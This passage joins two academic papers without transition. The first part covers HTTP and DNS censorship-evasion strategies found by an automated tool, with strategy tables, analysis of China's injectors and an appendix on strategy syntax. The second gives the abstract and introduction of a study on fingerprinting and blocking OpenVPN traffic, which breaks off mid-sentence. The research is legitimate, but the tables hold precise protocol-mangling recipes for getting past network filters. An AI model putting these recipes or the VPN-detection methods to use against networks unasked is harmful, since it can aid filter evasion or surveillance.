requests with invalid methods.

None of the censors we tested could censor this strategy,
including for both China’s Host-based and keyword-based
censorship. This suggests that the censors validate or require a
valid HTTP Method before processing the rest of the request.
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Apache 2.4.X Nginx 1.X.X Country

Family Strategy 6 18 29 43 13.4 14.1 16.1 19.0 CN-
H

CN-
K IN KZ

Case
Sensitivity

[HTTP:host:*]-changecase{lower}-| 3 3 3 3 3 3 3 3 - - 3 -
[HTTP:host:*]-changecase{upper}-| 3 3 3 3 3 3 3 3 - - 3 -

Four
Element
Request
Line

[HTTP:version:*]-insert{%09:middle:value:14}-| 3 3 - - - - - - 3 3 3 -
[HTTP:path:*]-insert{%09:end:value:1434}-|
[HTTP:path:*]-insert{1:start:value:507}-| 3 3 - - - - - - - 3 3 -

[HTTP:path:*]-insert{%20:end:value:1}-|
[HTTP:path:*]-insert{g:end:value:1013}-| 3 3 - - 3 3 3 3 - 3 3 -

Host Header
Shield

[HTTP:path:*]-insert{%20:start:value:1}-|
[HTTP:host:*]-duplicate(replace{/:name:64}
(replace{/?ultrasurf:value},),)-|

3 3 - - 3 3 3 3 3 3 - -

[HTTP:host:*]-duplicate(replace{a:name:64},)-| 3 3 3 3 3 3 3 3 3 - - -
[HTTP:method:*]-insert{%09:end:value}-|
[HTTP:host:*]-duplicate(replace{a:name:64},)-| 3 3 - - - - - - - - 3 3

[HTTP:method:*]-insert{%0A:start:value:1}-|
[HTTP:host:*]-duplicate(replace{%2F:name:64},)-| 3 3 - - 3 3 3 3 - - 3 3

[HTTP:method:*]-insert{%20:end:value:1}-|
[HTTP:host:*]-duplicate(replace{%2F:name:64},)-| 3 3 - - 3 3 3 3 3 3 - -

[HTTP:path:*]-insert{%20:start:value:1}-|
[HTTP:host:*]-duplicate(replace{%C2%B0:name:32},)-| 3 3 - - 3 3 3 3 3 3 - -

Host Header
Whitespace

[HTTP:host:*]-duplicate(insert{%0A:end:value:1},)-| 3 3 - - 3 3 3 3 - - 3 -
[HTTP:host:*]-duplicate(insert{%0A:random:name:1},)-| - - - - 3 3 3 3 - - 3 -
[HTTP:host:*]-duplicate(insert{%20%0A:end:name:1},)-| - - - - 3 3 3 3 - - 3 -
[HTTP:host:*]-insert{%09:end:name}-| 3 3 - - - - - - - - 3 3
[HTTP:host:*]-insert{%09:end:value:1}-| 3 3 3 3 - - - - - - - 3
[HTTP:host:*]-insert{%09:start:value:1}-| 3 3 3 3 - - - - - - - 3
***[HTTP:host:*]-insert{%0A%0A:start:value:1}-| - - - - - - - - - - 3 3
[HTTP:host:*]-insert{%0A%20:start:value:1}-| 3 3 - - - - - - - - 3 3
[HTTP:host:*]-insert{%0A:end:value:1}-| 3 3 - - 3 3 3 3 - - 3 -
[HTTP:host:*]-insert{%20%0A:start:name:1}-| - - - - 3 3 3 3 3 - 3 3
[HTTP:host:*]-insert{%20:end:name:1}-| 3 3 - - - - - - - - 3 3
[HTTP:host:*]-insert{%20:end:value:1}-| 3 3 3 3 3 3 3 3 - - - 3
***[HTTP:host:*]-insert{%20:start:name:1}-| - - - - - - - - 3 - 3 3
***[HTTP:host:*]-insert{%20:start:value:2}-| - - - - - - - - - - - -

Long
Request

[HTTP:path:*]-replace{/:value:1434}-| 3 3 3 3 3 3 3 3 - - 3 -
[HTTP:host:*]-insert{%20:start:value:1413}-| 3 3 3 3 3 3 3 3 - - 3 -
[HTTP:host:*]-insert{%20:start:value:1434}-| 3 3 3 3 3 3 3 3 - - 3 3
[HTTP:method:*]-duplicate(,replace{a:name:1407})-| 3 3 3 3 3 3 3 3 3 - 3 -
[HTTP:method:*]-insert{%09:end:value:2568}-| 3 3 - - - - - - - - 3 3
[HTTP:method:*]-insert{%0A:start:value:4336}-| - - - - 3 3 3 3 3 3 3 3
[HTTP:method:*]-insert{%20:end:value:1413}-| 3 3 - - 3 3 3 3 3 - 3 -
[HTTP:method:*]-insert{%20:end:value:1720}-| 3 3 - - 3 3 3 3 3 - 3 3
[HTTP:path:*]-duplicate(replace{a:name:1}
(insert{a:start:value:1408},),)-| 3 3 3 3 3 3 3 3 - - 3 -

[HTTP:path:*]-insert{%0D:end:value:1434}-| 3 3 - - - - - - 3 3 3 -
[HTTP:path:*]-insert{%20:end:value:1413}-| 3 3 - - 3 3 3 3 - - 3 -
[HTTP:path:*]-insert{%20:start:value:1}-|
[HTTP:path:*]-replace{3:value:511}
(insert{&:start:value},)-|

3 3 - - 3 3 3 3 3 3 - -

[HTTP:path:*]-insert{%23:end:value:1413}-| 3 3 - - 3 3 3 3 - - 3 -
[HTTP:path:*]-insert{%23:end:value:1}
(insert{%C3:end:value:470},)-| 3 3 - - 3 3 3 3 - - 3 -

[HTTP:path:*]-insert{%3F:end:value:1413}-| 3 3 3 3 3 3 3 3 - - 3 -
[HTTP:path:*]-insert{%3F:start:value:1413}-| 3 3 3 3 - - - - 3 - 3 -
[HTTP:path:*]-replace{/:value:1414}-| 3 3 3 3 3 3 3 3 - - 3 -
[HTTP:version:*]-insert{%20:end:value:1434}-| 3 3 - - 3 3 3 3 - - 3 3
[HTTP:version:*]-insert{%20:start:value:1434}-| 3 3 - - 3 3 3 3 - - 3 3
[HTTP:version:*]-insert{%25:middle:value:1434}-| 3 3 - - - - - - 3 3 3 3
[HTTP:version:*]-insert{%C2%81:end:value:773}-| 3 3 - - - - - - - - 3 3
[HTTP:version:*]-insert{%C3%8B:middle:value:717}-| 3 3 - - - - - - 3 3 3 3

Table 2: HTTP evasion strategies and where they succeed. A strategy is successful against a nation if it evades that nation’s
censor. A strategy is successful to a server if it evades in at least one country and is accepted by the server. CN-H and CN-K
stand for the China Headers and China Keyword modes respectively. "***" denotes a strategy found against a live server we did
not control; though these evade in some of our tested countries, but do not receive responses from the servers we tested. This
table is continued in the Appendix in Table 4.
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Strategy Family Example Strategy CF OD CB CS DW Q9 V G

Elevated Count [DNSQR:qname:*]-tamper{DNS:qdcount:replace:2}-| 3 - - - - - - -
[DNSQR:qname:*]-tamper{DNS:ancount:replace:1}-| 3 3 - - - - - -

Elevated Count w/
Reserved- and Truncated-bits

[DNS:*:*]-tamper{DNS:nscount:replace:1}
(tamper{DNS:z:replace:1}
(tamper{DNS:tc:replace:1},),)-|

3 3 3 - - - - -

DNS Compression
[DNS:*:*]-tamper{DNS:qd:compress}
(tamper{DNS:qdcount:replace:2},)-| 3 - - - - - - 3

Multibyte Query Injection [DNSQR:qname:*]-duplicate(,replace{%C2%91:name:957})-| - - - 3 3 3 3 -

Multibyte Query Injection w/
Elevated Count

[DNSQR:qclass:]-tamper{DNS:ancount:replace:98}-|
[DNSQR:qtype:]-replace{%C3%95:name:262}-| 3 3 - - - - - -

Table 3: Summary of the five DNS strategy families we discover that defeat all three DNS injectors simultaneously, and which
DNS resolvers respond to them: Cloudflare (CF), OpenDNS (OD), CleanBrowsing (CB), ComodoSecure (CS), DNS.Watch
(DW), Quad9 (Q9), Verisign (V), and Google (G). Our system successfully identified strategies for every DNS resolver, and also
identified four more unique variants to these strategies that only disabled a subset of the injectors.

6 DNS Results

We trained our system against all three of China’s DNS
injectors by using a domain that is on all three blocklists
(“google.sm”) to eight different open resolvers (see Table 1).
In prior work, researchers identified that these different DNS
injectors could be differentiated based on the fields set in the
DNS responses. To avoid ambiguity, we will refer each of the
three injectors using the same terminology as Anonymous et
al. [8] and identify them by idiosyncratic fields they set in
their response headers: Injector #1 (TTL=60, AA=1, DF=0),
Injector #2 (AA=0, DF=1), and Injector #3 (AA=0, DF=0,
IPID=0).

In total, we discovered 9 unique strategy types, 5 of which
defeat all three injectors simultaneously. After our training
runs, we performed manual analysis of the strategies to under-
stand why they worked against each DNS injector. For each
of the success rates below, we test each strategy 1000 times.
See Table 3 for the full breakdown of results. Note that these
strategies only apply to unencrypted DNS, as the header fields
of encrypted DNS would not be visible to the adversary.

Elevated Count The simplest family of strategy types we
discovered works by simply increasing the values of any com-
bination of the count fields in the DNS request: qdcount
(number of questions; default 1), ancount (number of an-
swers; default 0), arcount (number of additional records; de-
fault 0), or nscount (number of name server resource records;
default 0). Table 3 shows an example strategy in which the
qdcount is set to 2, despite there being only a single query
in the request, and another example that elevates the answer
count to 1. All of these strategies are in violation of the RFC.
Surprisingly, each of the GFW’s injectors and open resolvers
respond differently depending on which field we modify.

Elevating the qdcount field evades all three GFW injec-
tors with 100% success rate, but only Cloudflare will respond
to the query. Elevating the ancount, arcount, or nscount
evade only DNS injectors 2 and 3. Cloudflare responds to
all of these queries, OpenDNS responds only to elevated

ancount and nscount, and none of the other resolvers re-
sponded to any of them.

Elevated Count with Reserved- and Truncated-bits The
next strategy we discover works by increasing the nscount
to 1 (which evades GFW injector #2 and #3), setting the
reserved z field to 1, and setting the tc (truncated) bit to
1. The combination of the truncated field and reserved field
both being set to 1 evades injector #1 with approximately
50% success rate. Therefore, if this strategy is used with a
domain blocked by injector #2 or #3, it will evade with 100%
reliability, but if the domain is also included on injector #1’s
blocklist, it will only evade with 50% reliability. Frankly, we
do not understand the cause of why this strategy works only
50% of the time against injector #1.

DNS Compression The next strategy we discover works by
performing DNS compression on the DNS query and then
increasing the qdcount field to 2. DNS compression (defined
by RFC 1035 [50]) works by splitting the DNS query across
multiple records at the separator. This strategy is related to
the Elevated Count strategies, but uses DNS compression to
increase the number of DNS Question Records in the packet
to actually be 2. Technically, since the domain is compressed
across multiple DNS question records, the request has two
DNS Question Records attached to it, even though they only
comprise one DNS Question. This strategy evades all three
DNS injectors with 100% reliability, but is only supported by
Google and Cloudflare. We note that DNS compression alone
does not evade censorship, it must be paired with the elevated
qdcount.

Multibyte Query Injection The next strategy type we dis-
cover relies on injecting new text into the requests; specif-
ically, it creates a second DNS Question Record after the
forbidden query containing a request for a domain filled with
2-byte-wide multibyte UTF-8 characters. Surprisingly, all
three of the GFW’s injectors have problems handling requests
that contain multibyte characters, but a different number of
multibyte characters is required to evade each injector. Evad-
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ing injector #1 requires at least 241 2-byte-wide multibyte
characters; evading injector #3 requires at least 482 (precisely
twice as many). Injector #2 can be evaded with a 36% success
rate with 721 2-byte-wide multibyte characters; any fewer
fails to evade. This success rate can be increased to 97% with
at least 1,334 multibyte characters.

Interestingly, not all multibyte characters work: for all
three injectors, only the characters within the range of
%C[2-F]%[80-BF] succeed, and only 2-byte-wide charac-
ters work; 3-byte-wide characters do not.

Note that none of these requests are RFC compliant. Ac-
cording to RFC 1035 (Section 2.3.4), the limit to names is
255 bytes; in all the above cases, the DNS Question Record
contains many more bytes than this. Different DNS resolvers
have different policies as to if they respond to these queries.
Quad9, Comodo, and DNS.Watch all respond to these queries
normally, while Verisign responds only to 25% of the queries
(we suspect this is due to load balancing between resolvers
that may or may not be able to handle the queries). None of
the other resolvers respond to these requests.

Multibyte Query Injection with Elevated Count Our sys-
tem also identified a combination strategy of the above multi-
byte strategy and elevated arcount. This strategy creates a
second DNS Question Record that contains 242 multibyte
characters and sets the arcount field to 1. This strategy exem-
plifies how the different injectors can be defeated individually;
by setting the arcount field, the strategy bypasses injector #2
and injector #3, and using 242 multibyte characters bypasses
injector #1. Because this strategy injects fewer characters
than the Multibyte Query Injection family, Cloudflare and
OpenDNS now respond to the query, but Quad9, Comodo, and
DNS.Watch will not respond, due to the elevated arcount.

Collectively, these results show that there is a large space of
censorship evasion strategies possible through DNS query
manipulation. The simplicity of some of these evasion strate-
gies also indicates that this space has been largely unexplored;
the fact that merely setting an incorrect qdcount works is
surprising. On the other hand, the strange complexities of
other strategies (such as requiring no less than 721 multibyte
characters to evade Injector #2) justifies our approach of using
automated tools to explore this space. Finally, taken in con-
junction with our HTTP results, we see once again that servers
that are less RFC-compliant than censoring middleboxes can
lead to evasion opportunities.

7 Discussion

How can censors defend against these attacks? Censors
could read this work and try to patch each individual issue
we identify; however, we do not think censors will be able
to easily (or cheaply) defend against all these attacks. Our
results point to a broader trend about protocol compliance in
censoring middleboxes. In order to effectively defend against

these attacks, censors must always be more permissive in
inputs they tolerate than servers on the other side of the con-
nection. In cases where the censor was significantly more
RFC-compliant (such as in India), our system had the easiest
time discovering ways to evade censorship.

Even beyond censors needing to be more permissive than
servers, to effectively censor, the censor must also maintain
at least as much state as servers on the other side of the
connection. If a server buffers more bytes than the censor
does, a client can simply make the request longer until the
forbidden keyword or header is outside the censors buffer,
as we’ve seen in China. This is good news for evaders, as
addressing this issue completely will likely require the censors
to buffer vastly more data than they do currently. These trends
hold across both HTTP and DNS.

What HTTP strategies work most often, and what do cen-
sors most commonly do wrong? The most common strat-
egy we find by far is various forms of injecting whitespace,
in both the headers and the request line. In fact, 53 of our 77
strategies work by inserting some form of whitespace, and 38
of which require no further modifications. The HTTP RFCs
have many rules about where whitespace should be allowed,
ignored, or disallowed, and we identified many cases in which
the censor processes whitespace where it should not, or fails
to process it where it should. Another common failure mode
we observed from the censor was being unable to process a
large request from a client, though each censor we studied
was affected for a different reason.

What class of strategies are most broadly applicable
across server versions and resolvers? For HTTP, we again
find that inserting whitespace in different places around the
request line or header value. The RFCs mention that cer-
tain types of whitespace should be ignored for robustness, so
strategies that inject whitespace in these locations are most
commonly versatile across server versions. We find that many
of the server versions we tested often accept too much whites-
pace for robustness’s sake, despite what the RFC says.

For DNS, we found little overlap between the queries ac-
cepted between the different resolvers. Our most broadly ap-
plicable strategies only worked on half of the resolvers we
tested, and most worked across even less. In general, lack of
generalizability for DNS strategies does not affect usability
the same way for HTTP; if a user wishes to use our strategies
to perform forbidden DNS lookups, the user can do all of
those lookups to the same resolver. Over HTTP, by contrast,
the evasion strategy must be compatible with the server on
the other end of the connection, and every site the user visits
may be using a different server version.

Is any one location in the HTTP or DNS header more
prone to having viable evasion strategies? Overall, we
found strategies for every major component of the HTTP
request: 31 strategies acted on the Host header, 16 acted on
the Method, 22 acted on the Path, and 13 acted on the Version.
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Note that these numbers do not add to 77, as there is overlap
in strategies that act on multiple parts of the request. In DNS,
our strategies were also fairly well distributed throughout the
DNS header, and only a few fields were never co-opted by a
strategy for evasion.

How does China’s Host header censorship compare to
keyword censorship? In general, we find that almost all the
strategies that evade keyword-based censorship in China also
evade host-based censorship (17 out of 22). This interesting
finding suggests that in order to correctly censor keywords,
the GFW must be able to read the Host header, or read all the
headers without problems and find no host header. Our results
also suggest that the reverse is not true: no strategies that af-
fected only the Host header were able to evade keyword-based
censorship. We also find that more strategies can evade host-
based censorship by simply injecting whitespace, compared
to keyword censorship.

How do China’s three DNS injectors compare to one an-
other? We find differences between all three injectors that
affects how well our strategies work. Injector #1 was the
most permissive to fields being incorrect in the DNS header,
and therefore had fewer strategies work; for example, Injec-
tor #1 still correctly processed forbidden DNS queries if the
arcount, ancount, or the nscount fields were non-zero. In-
jector #2 had the most idiosyncratic responses to multibyte
UTF characters: injecting between 721 and 1,333 multibyte
characters caused Injector #2 to fail at least 33% of the time
(and the failure rate increased as the number of inserted charac-
ters increased); after 1,334 characters, Injector #2 fails 100%
of the time. Every strategy that evaded Injector #2 also evaded
Injector #3, though we discover that Injector #3 has different
limits to the number of multibyte characters it will tolerate in
the DNS Query Records (a limit of 482). Overall, our results
further emphasize that these injectors are truly separate, each
with their own block list and weaknesses.

How generalizable is this technique to the future? We be-
lieve this technique should generalize well to other protocols.
Many application-layer protocols fit the abstraction we de-
fined for this paper (with smaller, discrete components that
compose within a larger message). For example, TLS records
are comprised of fixed static fields, and dynamic TLS Mes-
sages and TLS Extensions. We leave the implementation of
this to future work.

8 Ethical Considerations

We designed our experiments to limit the potential impact to
other hosts and the risk to real users. This work does not in-
volve human subjects, and therefore falls outside the purview
of our Institutional Review Board; still, we follow best prac-
tices laid out by prior censorship studies [14, 56].

We performed all of our training exclusively from vantage
points we control, and our work does not require recruiting

users (unwitting or not [16]). Our system does not spoof IP
addresses or impersonate other machines, and our interactions
with the censors should have had no impact on any other users.
To limit the effect of our training on the network, we evaluate
strategies serially (and with a small sleep for DNS), which
limits how quickly our system can generate traffic. This is
important, as some of our training runs involve hosts outside
our control (such as with open DNS resolvers), and we believe
our impact to these hosts is minimal. For example, our DNS
training had a network load of approximately 11kbps, which
should be a negligible volume of traffic for the size of the
networks we test with. In training to hosts outside our control
with HTTP, we set up our experiments to minimize potential
harm to those hosts. We ran few experiments, spaced out in
time, with slow query limit, and limited generations. We did
not believe our fuzzing would cause a crash failure, as we had
not observed any crashes in any of our prior experiments or
in prior work that crafted strategies manually [44, 67].

Finally, we ask: does releasing this work help censors? We
believe that, on balance, this work helps evaders more. Al-
though individual bugs can be patched, the broader takeaways
of this work (such as that application-layer censorship eva-
sion can be automated or that RFC non-compliance can be
leveraged for evasion) are still applicable. There is also strong
precedent for developing automated techniques to evade cen-
sorship [14, 52, 60].

9 Conclusion

The censorship arms race has entered a fascinating new era
of automated evasion. In this paper, we extend this to the
application-layer space by presenting the first techniques to
automate discovery of new censorship evasion strategies that
require modifications only to application-layer requests. Train-
ing against China, India, and Kazakhstan, we discovered 77
unique strategies to evade HTTP censorship and 9 for DNS.
We thoroughly analyzed each of these strategies and discov-
ered that many of them are successful because censors often
adhere more to protocol requirements than application servers
do. Our tool—a modification of our prior work,Geneva [14]—
exploits this discrepancies to alter queries in ways that censors
reject but more-permissible servers accept. We believe this
represents an interesting and important new domain for cen-
sorship evasion research. To assist in these efforts, we have
made our code publicly available.
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A HTTP Geneva Syntax

We give a brief background of Geneva’s syntax for strategies.
Strategies are comprised of trigger/action tree pairs: the trig-
ger defines which packet component should be modified, and
the action-tree specifies how it should be modified. Action-
trees are trees composed of simple manipulation actions.

Actions Depending on the protocol (DNS or HTTP), the
principle unit of modification is different: HTTP operates
over the Headers, and DNS operations over the DNS Question
Records. Each action defines specific parameters it accepts;
below is an overview of the arguments the actions can take.

1. <value> — Any printable characters (URL-encoded).

2. <string location> — Where in a string to be inserted:
start, middle, end, or random. Start means at index 0,
middle is at index length/2, end is equal to index length,
and random is anywhere except the start or end.

3. <component> — (Only used for HTTP Geneva.) Speci-
fies which part of a header to act upon: "name", or "value".
Remember a header is broken up into two sides separated
by the semi-colon into the header name and header value.
Ex: in “Host: www.example.com”, “Host” is the header
name and “ www.example.com” is the header value (note
the space is included).

4. <number of actions> — How many times the action
should be run. For example, with the insert or replace
actions, running this action multiple times concatenates
the <value> <number of actions> number of times
before doing the action.

5. <case method> — Either random (each character is ran-
domly upper or lower case), lower (all characters are lower
case) or upper (all characters are upper case).

With these arguments in mind, below are Geneva’s modifi-
cation actions for HTTP and DNS.

1. insert{<value>:<string location>:

<component>:<number of actions>}

Insert the byte(s) specified by value into the lo-
cation of the string specified <string location>

into the specified <component> of the action target
<number of actions> times. This will insert either
once (if the fourth parameter is omitted) or a specified
number of times if the fourth parameter is given.

2. replace{<value>:<component>:

<number of actions>}

Replace the field specified by <component> with
<value>. If <number of actions> is given, replace it
with that many copies of <value> (default: one). Note:
delete can be simulated here by the random chance to
replace the "value" with nothing.

3. duplicate(,) — Makes a second action target equal to
the first. Duplicate outputs two identical action targets
and each side can be modified individually. Duplicating
a header will add a new header, not just concatenate the
string of the header name or value.

4. drop(,) — Remove the action target from the request.

5. changecase{<case method>} — Changes the case of
the entire action target (ignores non-alphabetical charac-
ters). If this is a header, this works on the header name
and value.

Action trees can be extended by adding new actions into
children (ending parenthesis) of any action. For every action
except duplicate, there will only be downstream actions in
the first half of the parenthesis.

Trigger There is one matching trigger for every action tree
and it signifies when that action tree should act on an action
target. Each trigger takes three parameters. The first element
of the trigger is the relevant protocol: DNS, DNSQR, or HTTP.
The second element signifies which field the trigger should
check for a match. For DNS, this trigger will look for certain
fields like qclass, whereas in HTTP, it uses specific header
names. The third element specifies what the target field must
be for the trigger to fire. A star “*” can be used as a wildcard.
An example of a trigger is [HTTP:Host:*] to mean a strategy
will act on any Host header it sees, or [DNSQR:qname:*] to
act on every DNS Question Record.

Strategy Syntax Action trees are combined with triggers
to create combinations like <trigger>-<action tree>-|.
It is possible to have multiple combinations in one strategy.
When this happens, each action tree will act on their own
version of their designated action target, and all the dupli-
cates will be combined in the end to recreate the request. An
example of a full strategy with two action trees is:

[HTTP:Host:*]-duplicate(

replace{NewValue:name:1},

insert{\%20:start:value:500}

(changecase{random},))-|

[HTTP:Host:*]-insert{\%0A:start:name}-|}}
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Apache 2.4.X Nginx 1.X.X Country

Family Strategy 6 18 29 43 13.4 14.1 16.1 19.0 CN-
H

CN-
K IN KZ

Method
Mangling

***[HTTP:method:*]-duplicate(,)-| - - - - - - - - - - 3 3
***[HTTP:method:*]-replace{%3A:value:1}-| - - - - - - - - 3 3 3 3
***[HTTP:method:*]-replace{HTTP/1.1:value:1}-| - - - - - - - - 3 3 3 3

Path
Confusion

[HTTP:path:*]-duplicate(insert{3:middle:value:1004},
replace{&ultrasurf:value})-| 3 3 3 3 3 3 3 3 - 3 3 -

[HTTP:path:*]-insert{%3F:start:value:1}-| 3 3 3 3 - - - - 3 - 3 -

Request
Line
Whitespace

[HTTP:method:*]-insert{%09:end:value:1}-| 3 3 - - - - - - - - 3 3
***[HTTP:method:*]-insert{%09:start:value:1}-| - - - - - - - - - - 3 3
[HTTP:method:*]-insert{%0A:start:value:1}-| 3 3 - - 3 3 3 3 - - 3 3
[HTTP:method:*]-insert{%0B:end:value:1}-| 3 3 - - - - - - - - 3 3
[HTTP:method:*]-insert{%0D:end:value:2}-| 3 3 - - - - - - 3 3 3 3
[HTTP:path:*]-insert{%09:end:value:1}-| 3 3 - - - - - - - - 3 -
[HTTP:path:*]-insert{%09:start:value:1}-| 3 3 - - - - - - 3 - 3 -
[HTTP:path:*]-insert{%0C:start:value:1}-| 3 3 - - - - - - 3 - 3 -
[HTTP:path:*]-insert{%0D:start:value:1}-| 3 3 - - - - - - 3 3 3 -
[HTTP:path:*]-insert{%20:end:value:1}-| 3 3 - - 3 3 3 3 - - 3 -
[HTTP:path:*]-insert{%20:start:value:1}-| - - - - - - - - 3 - - -
[HTTP:version:*]-insert{%0A%09%0A%09:end:value:1}-| - - - - 3 3 3 3 - - 3 3
[HTTP:version:*]-insert{%0A%09:end:value:1}-| - - - - 3 3 3 3 - - - 3
[HTTP:version:*]-insert{%0A%20%0A%20:end:value:1}-| - - - - 3 3 3 3 - - 3 3
[HTTP:version:*]-insert{%20%0A%09:end:value:1}-| - - - - 3 3 3 3 - - 3 3
[HTTP:version:*]-insert{%20:end:value:1}-| 3 3 - - 3 3 3 3 - - 3 -

Sandwich
Strategy

[HTTP:host:*]-duplicate(replace{%C3%97:name:596},
insert{%20:end:name:786})-| 3 3 - - - - - - 3 3 3 3

[HTTP:host:*]-replace{%5E:name:926}
(duplicate(duplicate(,replace{host:name:1}
(insert{%20:start:value:3238},)),),)-|

3 3 3 3 3 3 3 3 3 3 - 3

[HTTP:host:*]-replace{%C3%97:name:1358}
(duplicate(duplicate(,replace{host:name:1}
(insert{%20:end:value},)),),)-|

3 3 - - 3 3 3 3 3 3 3 3

[HTTP:host:*]-replace{%C3%97:name:1371}
(duplicate(duplicate(,replace{host:name:1}),),)-| 3 3 - - 3 3 3 3 3 3 3 -

[HTTP:host:*]-insert{%20:end:value:4081}
(duplicate(duplicate(,replace{a:name:1}),
insert{%09:start:name:3238}),)-|

3 3 3 3 3 3 3 3 - 3 - 3

[HTTP:host:*]-insert{%20:end:value:4081}
(duplicate(duplicate(insert{%09:start:name:3238},),
replace{a:name:1}),)-|

3 3 - - 3 3 3 3 - 3 - 3

[HTTP:host:*]-replace{PUT:name:423}
(duplicate(duplicate(,replace{host:name}),),)-| 3 3 3 3 3 3 3 3 3 3 3 -

Version
Mangling

[HTTP:version:*]-duplicate-| 3 3 - - - - - - - - 3 -
[HTTP:version:*]-replace{OPTIONS:value:1}-| 3 3 - - - - - - 3 3 3 -

Table 4: Continuation of Table 2. A strategy is successful against a nation if it evades that nation’s censor. A strategy is successful
to a server if it evades in at least one country and is accepted by the server. CN-H and CN-K stand for the China Headers and
China Keyword modes respectively. "***" denotes a strategy found against a live server we did not control; though these evade
in some of our tested countries, but do not receive responses from the servers we tested.
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Abstract

VPN adoption has seen steady growth over the past decade
due to increased public awareness of privacy and surveillance
threats. In response, certain governments are attempting to
restrict VPN access by identifying connections using “dual
use” DPI technology. To investigate the potential for VPN
blocking, we develop mechanisms for accurately fingerprint-
ing connections using OpenVPN, the most popular protocol
for commercial VPN services. We identify three fingerprints
based on protocol features such as byte pattern, packet size,
and server response. Playing the role of an attacker who con-
trols the network, we design a two-phase framework that per-
forms passive fingerprinting and active probing in sequence.
We evaluate our framework in partnership with a million-
user ISP and find that we identify over 85% of OpenVPN
flows with only negligible false positives, suggesting that
OpenVPN-based services can be effectively blocked with
little collateral damage. Although some commercial VPNs
implement countermeasures to avoid detection, our frame-
work successfully identified connections to 34 out of 41 “ob-
fuscated” VPN configurations. We discuss the implications
of the VPN fingerprintability for different threat models and
propose short-term defenses. In the longer term, we urge
commercial VPN providers to be more transparent about their
obfuscation approaches and to adopt more principled detec-
tion countermeasures, such as those developed in censorship
circumvention research.

1 Introduction

ISPs, advertisers, and national governments are increas-
ingly disrupting, manipulating, and monitoring Internet traf-
fic [16, 22, 27, 47, 69]. As a result, virtual private network
(VPN) adoption has been growing rapidly, not only among
activists and journalists with heightened threat models but
also among average users, who employ VPNs for reasons
ranging from protecting their privacy on untrusted networks
to circumventing censorship. As a recent example, with the
passage of Hong Kong’s new national security law, popular
VPN providers observed a 120-fold surge in downloads due
to fears of escalating surveillance and censorship [62].

In response to the growing popularity of VPNs, numer-
ous ISPs and governments are now seeking to track or block
VPN traffic in order to maintain visibility and control over
the traffic within their jurisdictions. Binxing Fang, the de-
signer of the Great Firewall of China (GFW) said there is
an “eternal war” between the Firewall and VPNs, and the
country has ordered ISPs to report and block personal VPN
usage [60,61]. More recently, Russia and India have proposed
to block VPN services in their countries, both labeling VPNs
a national cybersecurity threat [44, 59]. Commercial ISPs are
also motivated to track VPN connections. For example, in
early 2021, a large ISP in South Africa, Rain, Ltd., started
throttling VPN connections by over 90 percent in order to
enforce quality-of-service restrictions in their data plans [64].

ISPs and censors are known to employ a variety of simple
anti-VPN techniques, such as tracking connections based on
IP reputation, blocking VPN provider (provider from hereon)
websites, and enacting laws or terms of service forbidding
VPN usage [46,53,60]. Yet, these methods are not robust; mo-
tivated users find ways to access VPN services in spite of them.
However, even less-powerful ISPs and censors now have ac-
cess to technologies such as carrier-grade deep packet inspec-
tion (DPI) with which they can implement more sophisticated
modes of detection based on protocol semantics [43, 48].

In this paper, we explore the implications of DPI for VPN
detection and blocking by studying the fingerprintability of
OpenVPN (the most popular protocol for commercial VPN
services [6]) from the perspective of an adversarial ISP. We
seek to answer two research questions: (1) can ISPs and
governments identify traffic flows as OpenVPN connections
in real time? and (2) can they do so at-scale without in-
curring significant collateral damage from false positives?
Answering these questions requires more than just identifying
fingerprinting vulnerabilities; although challenging, we need
to demonstrate practical exploits under the constraints of how
ISPs and nation-state censors operate in the real world.

We build a detection framework that is inspired by the ar-
chitecture of the Great Firewall [1,11,71], consisting of Filter
and Prober components. A Filter performs passive filtering
over passing network traffic in real time, exploiting protocol
quirks we identified in OpenVPN’s handshake stage. After a
flow is flagged by a Filter, the destination address is passed
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Figure 1: OpenVPN Session Establishment (TLS mode).

to a Prober that performs active probing as confirmation. By
sending probes carefully designed to elicit protocol-specific
behaviors, the Prober is able to identify an OpenVPN server
using side channels even if the server enables OpenVPN’s
optional defense against active probing. Our two-phase frame-
work is capable of processing ISP-scale traffic at line-speed
with an extremely low false positive rate.

In addition to core or “vanilla” OpenVPN, we also in-
clude commercial “obfuscated” VPN services in this study.
In response to increasing interference from ISPs and cen-
sors, obfuscated VPN services have started to gain traction,
especially from users in countries with heavy censorship or
laws against the personal usage of VPNs. Obfuscated VPN
services, whose operators often tout them as “invisible” and
“unblockable” [5, 49, 54], typically use OpenVPN with an
additional obfuscation layer to avoid detection [2, 66].

Partnering with Merit (a mid-size regional ISP that serves
a population of 1 million users), we deploy our framework at
a monitor server that observes 20 Gbps of ingress and egress
traffic mirrored from a major Merit point-of-presence. (Refer
to § 5 for ethical considerations.) We use PF_RING [38] in
zero-copy mode for fast packet processing by parallelized
Filters. In our tests, we are able to identify 1718 out of
2000 flows originating from a control client machine residing
within the network, corresponding to 39 out of 40 unique
“vanilla” OpenVPN configurations.

More strikingly, we also successfully identify over two-
thirds of obfuscated OpenVPN flows. Eight out of the top
10 providers offer obfuscated services, yet all of them are
flagged by our Filter. Despite providers’ lofty unobservability
claims (such as “. . . even your Internet provider can’t tell that
you’re using a VPN” [49]), we find most implementations of
obfuscated services resemble OpenVPN masked with the sim-
ple XOR-Patch [36], which is easily fingerprintable. Lack of
random padding at the obfuscation layer and co-location with
vanilla OpenVPN servers also make the obfuscated services
more vulnerable to detection.

In a typical day, our single-server setup analyzes 15 TB
of traffic and 2 billion flows. Over an eight-day evaluation,
our framework flagged 3,638 flows as OpenVPN connections.
Among these, we are able to find evidence that supports our
detection results for 3,245 flows, suggesting an upper-bound
false-positive rate three orders of magnitude lower than
previous ML-based approaches [3, 14, 26].

We conclude that tracking and blocking the use of Open-
VPN, even with most current obfuscation methods, is straight-
forward and within the reach of any ISP or network operator,
as well as nation-state adversaries. Unlike circumvention
tools such as Tor or Refraction Networking [8, 74], which
employ sophisticated strategies to avoid detection, robust ob-
fuscation techniques have been conspicuously absent from
OpenVPN and the broader VPN ecosystem. For average users,
this means that they may face blocking or throttling from ISPs,
but for high-profile, sensitive users, this fingerprintability may
lead to follow-up attacks that aim to compromise the security
of OpenVPN tunnels [40, 51]. We warn users with height-
ened threat models not to expect that their VPN usage will be
unobservable, even when connected to obfuscated services.
While we propose several short-term defenses for the finger-
printing exploits described in this paper, we fear that, in the
long term, a cat-and-mouse game similar to the one between
the Great Firewall and Tor is imminent in the VPN ecosys-
tem as well. We implore VPN developers and providers to
develop, standardize, and adopt robust, well-validated obfus-
